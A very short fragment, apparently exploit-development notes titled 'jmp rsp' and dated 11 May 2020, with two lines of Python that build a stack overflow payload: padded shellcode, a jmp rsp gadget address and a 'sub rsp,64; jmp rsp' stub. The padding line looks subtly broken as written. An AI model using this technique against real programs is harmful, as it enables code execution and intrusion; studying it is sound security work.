jmp rsp

11 May 2020

payload  = asm(shellcode) + (a * 56 - len(shellcode))
payload += jmp_rsp_addr + asm('sub rsp,64; jmp rsp')